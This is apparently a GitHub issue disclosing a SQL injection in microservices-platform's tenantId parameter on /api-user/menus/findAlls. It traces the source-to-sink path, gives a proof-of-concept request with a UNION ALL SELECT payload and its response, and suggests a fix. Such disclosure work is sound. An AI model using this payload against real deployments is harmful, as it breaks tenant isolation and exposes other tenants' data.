Skip to content

SQL Injection in the tenantId parameter of /api-user/menus/findAlls #80

Description

@cyuanb

Summary

microservices-platform contains a confirmed SQL injection vulnerability in the authenticated GET /api-user/menus/findAlls endpoint, where the caller-controlled tenantId is incorporated into the MyBatis-Plus tenant-isolation SQL expression without sufficient validation; an authenticated attacker can inject a read-only UNION query to retrieve database-generated information, potentially bypassing tenant isolation and exposing tenant data or database metadata.

Root Cause

The request filter accepts tenantId directly from the query string and falls back to the request header:

// zlt-commons/zlt-common-spring-boot-starter/src/main/java/com/central/common/filter/TenantFilter.java:29-36
String tenantId = request.getParameter(CommonConstant.TENANT_ID_PARAM);
if (StrUtil.isEmpty(tenantId)) {
    tenantId = request.getHeader(SecurityConstants.TENANT_HEADER);
}
if (StrUtil.isNotEmpty(tenantId)) {
    TenantContextHolder.setTenant(tenantId);
}

CommonConstant.TENANT_ID_PARAM is tenantId. The reviewed code does not type-check the value, resolve it from the authenticated principal, or verify it against an allowlist before placing it in TenantContextHolder.

The tenant handler then returns the context value as a JSQLParser expression:

// zlt-commons/zlt-db-spring-boot-starter/src/main/java/com/central/db/config/TenantAutoConfigure.java:31-36
@Override
public Expression getTenantId() {
    String tenant = TenantContextHolder.getTenant();
    if (tenant != null) {
        return new StringValue(TenantContextHolder.getTenant());
    }
    return new NullValue();
}

MybatisPlusAutoConfigure adds the tenant-line interceptor when tenant isolation is enabled:

// zlt-commons/zlt-db-spring-boot-starter/src/main/java/com/central/db/config/MybatisPlusAutoConfigure.java:55-63
MybatisPlusInterceptor mpInterceptor = new MybatisPlusInterceptor();
boolean enableTenant = tenantProperties.getEnable();
if (enableTenant) {
    CustomTenantInterceptor tenantInterceptor = new CustomTenantInterceptor(
            tenantLineHandler, tenantProperties.getIgnoreSqls());
    mpInterceptor.addInnerInterceptor(tenantInterceptor);
}
// zlt-business/user-center/src/main/java/com/central/user/controller/SysMenuController.java:124-128
@GetMapping("/findAlls")
public PageResult<SysMenu> findAlls() {
    List<SysMenu> list = menuService.findAll();
    return PageResult.<SysMenu>builder().data(list).code(0).count((long) list.size()).build();
}

// zlt-business/user-center/src/main/java/com/central/user/service/impl/SysMenuServiceImpl.java:77-82
@Override
public List<SysMenu> findAll() {
    return baseMapper.selectList(
            new QueryWrapper<SysMenu>().orderByAsc("sort")
    );
}

The complete source-to-sink explanation is:

HTTP tenantId
  -> TenantFilter
  -> TenantContextHolder
  -> TenantAutoConfigure.getTenantId()
  -> MyBatis-Plus tenant-line interceptor
  -> sys_menu tenant predicate
  -> JSON response from /api-user/menus/findAlls

POC

Request

GET /api-user/menus/findAlls?tenantId=x%27+UNION+ALL+SELECT+0%2C0%2CDATABASE%28%29%2CDATABASE%28%29%2CDATABASE%28%29%2CDATABASE%28%29%2C1%2C1%2C0%2CDATABASE%28%29%2C0%2CNOW%28%29%2C%272026-07-30+00%3A00%3A00 HTTP/1.1
Host: localhost:37683
User-Agent: curl/7.81.0
Authorization: Bearer nx7NydootiWxH68pooO_nnbEYBxmO6zbw5Xtqh_pIvll6x4nR9CH8aJNKrYe7Za3oUjyVFP1cSs1ebJpGWOEAgO2EZnH73lH7FHNk3GKA8_TQWj0MTdLhfe-02CakeQG
Accept: application/json

Response

HTTP/1.1 200 
Server: nginx/1.31.2
Date: Thu, 30 Jul 2026 09:35:18 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer


{"count":1,"code":0,"data":[{"id":0,"createTime":"2026-07-30T09:35:18.000+00:00","updateTime":"2026-07-29T16:00:00.000+00:00","parentId":0,"name":"user-center","css":"user-center","url":"user-center","path":"user-center","sort":1,"type":1,"hidden":false,"pathMethod":"user-center","creatorId":0,"subMenus":null,"roleId":null,"menuIds":null}]}

Impact

An authenticated caller who can invoke the user-center menu endpoint can alter the tenant predicate and evaluate read-only SQL expressions in the response.

Suggested Fix

Derive the tenant identifier from the authenticated server-side context and pass only a typed, allowlisted value into the tenant interceptor; never convert raw request text into a SQL expression. Apply the same boundary to tenantId and x-tenant-header and add regression tests that assert quotes, UNION, comments, and encoded variants cannot alter the generated query.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions